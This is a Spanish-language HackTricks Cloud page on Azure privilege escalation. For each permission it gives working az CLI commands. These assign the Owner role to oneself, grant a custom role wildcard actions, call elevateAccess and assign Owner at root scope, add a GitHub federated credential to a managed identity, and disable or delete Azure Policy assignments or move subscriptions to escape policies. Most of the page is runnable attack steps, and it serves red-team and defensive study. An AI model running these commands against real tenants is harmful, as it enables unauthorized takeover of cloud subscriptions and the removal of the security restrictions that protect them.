Az - Azure IAM Privesc (Autorización)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Azure IAM
Para más información consulta:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Este permiso permite asignar roles a principals sobre un scope específico, lo que permite a un atacante escalar privilegios asignándose a sí mismo un rol más privilegiado:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Este permiso permite modificar los permisos otorgados por un role, permitiendo a un atacante escalar privilegios al conceder más permisos a un role que él mismo ha asignado.
Crea el archivo role.json con el siguiente contenido:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Luego actualiza los permisos del rol con la definición anterior llamando:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre recursos de Azure. Está pensado para otorgarse a Entra ID Global Administrators para que también puedan gestionar permisos sobre recursos de Azure.
Tip
Creo que el usuario necesita ser Global Administrator en Entra ID para que la llamada elevate funcione.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Este permiso permite añadir Federated credentials a managed identities. Por ejemplo, dar acceso a Github Actions en un repo a una managed identity. Además, permite acceder a cualquier managed identity definida por el usuario.
Comando de ejemplo para dar acceso a un repo en Github a una managed identity:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un atacante con el permiso Microsoft.Authorization/policyAssignments/write o Microsoft.Authorization/policyAssignments/delete sobre un management group, subscription, o resource group puede modificar o eliminar asignaciones de políticas de Azure, potencialmente deshabilitando restricciones de seguridad que bloquean operaciones específicas.
Esto permite el acceso a recursos o funcionalidades que previamente estaban protegidos por la política.
Eliminar una asignación de política:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Deshabilitar una asignación de directiva:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Verifica los cambios:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Un atacante con el permiso Microsoft.Authorization/policyDefinitions/write puede modificar Azure policy definitions, cambiando las reglas que controlan las restricciones de seguridad en todo el entorno.
Por ejemplo, una policy que limita las regiones permitidas para crear recursos puede modificarse para permitir cualquier región, o el efecto de la policy puede cambiarse para hacerla inefectiva.
Modificar una policy definition:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Verifica los cambios:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Un atacante con el permiso Microsoft.Management/managementGroups/write puede modificar la estructura jerárquica de management groups o crear nuevos management groups, potencialmente eludiendo políticas restrictivas aplicadas en niveles superiores.
Por ejemplo, un atacante puede crear un nuevo management group sin políticas restrictivas y luego mover subscriptions a este.
Crear un nuevo management group:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Modificar la jerarquía de grupos de administración:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Verifica los cambios:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Un atacante con el permiso Microsoft.Management/managementGroups/subscriptions/write puede mover suscripciones entre grupos de administración, potencialmente eludir políticas restrictivas moviendo una suscripción a un grupo con políticas menos restrictivas o sin políticas.
Mover una suscripción a un grupo de administración diferente:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Verificar los cambios:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

